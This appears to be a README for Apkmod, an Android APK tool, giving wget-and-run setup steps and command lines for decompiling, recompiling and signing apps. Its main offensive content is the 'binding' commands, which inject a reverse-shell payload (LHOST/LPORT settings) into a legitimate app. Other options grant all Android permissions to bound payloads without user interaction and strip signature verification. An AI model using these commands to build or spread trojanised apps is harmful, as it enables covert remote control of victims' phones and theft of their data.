- First goto home directory
cd $HOME
- Get the setup script
wget https://raw.githubusercontent.com/Hax4us/Apkmod/master/setup.sh
- Execute the script
bash setup.sh
- Now you can execute command
apkmod
- For decompiling
apkmod -d -i /path/to/inapp.apk -o /path/to/outdirectory
. It will decompile inapp.apk into outdirectory folder. - For recompiling
apkmod -r -i /path/to/indirectory -o /path/to/outapp.apk
. It will recompile indirectory ( where decompiled files are exists ) into outapp.apk. - For signing
apkmod -s -i /path/to/unsignedapp.apk -o /path/to/signedapp.apk
. It will sign unsignedapp.apk and saves output ( signed app ) to signedapp.apk. - For binding
apkmod -b -i /path/to/originalApp.apk -o /path/to/binded.apk LHOST=127.0.0.1 LPORT=4444
. It will bind payload with originalApp.apk and saves final binded app to binded.apk. - Use
-V
to enable verbose output - If only editing Java (smali) then this is the recommended action for faster decompile & rebuild
--no-res
- If you are only editing the resources. This is the recommended action for faster disassemble & assemble
--no-smali
- use
--frame-path
to specify framework directory like--frame-path=/path/to/dir
- Use
--enable-perm
to enable all android permissions in binded or non binded payloads without user interaction. For example :-apkmod --enable-perm -i /path/to/binded.apk -o mybinded.apk
apkmod --to-java -i /path/to/in.apk -o outfolder
will decompile dex to java. Input can be [.apk,.dex,.zip]- Now you can use a optional option
-a
to use aapt for binding and recompiling. Why aapt ? Because some apps can't recompile with aapt2 but aapt can do it. But I can't drop aapt2 support because some apps can't recompile with aapt so first recompile or bind without aapt (-a
) then if you failed then try with aapt. For exampleapkmod -a -b -i /path/to/originalApp.apk -o /path/to/binded.apk LHOST=127.0.0.1 LPORT=4444
will useaapt
otherwiseaapt2
. - To change App name use
--appname
with-i
. For exampleapkmod --appname="New App Name" -i /path/to/in.apk -o /path/to/out.apk
- To remove/kill signature verification of app ,
apkmod --signature-bypass --killer=k2 -i /path/to/in.apk -o /path/to/out.apk
. There are two version available of signature killer , one is k1 and second one is k2, you will have to specify version like--killer=k1
or--killer=k2
.
Size | Apkmod | Third party tools |
---|---|---|
after installation | Around 100 MB | Around 700-900 MB |
Because it has Alpine instead of Ubuntu, kali, parrot or other glibc based distros.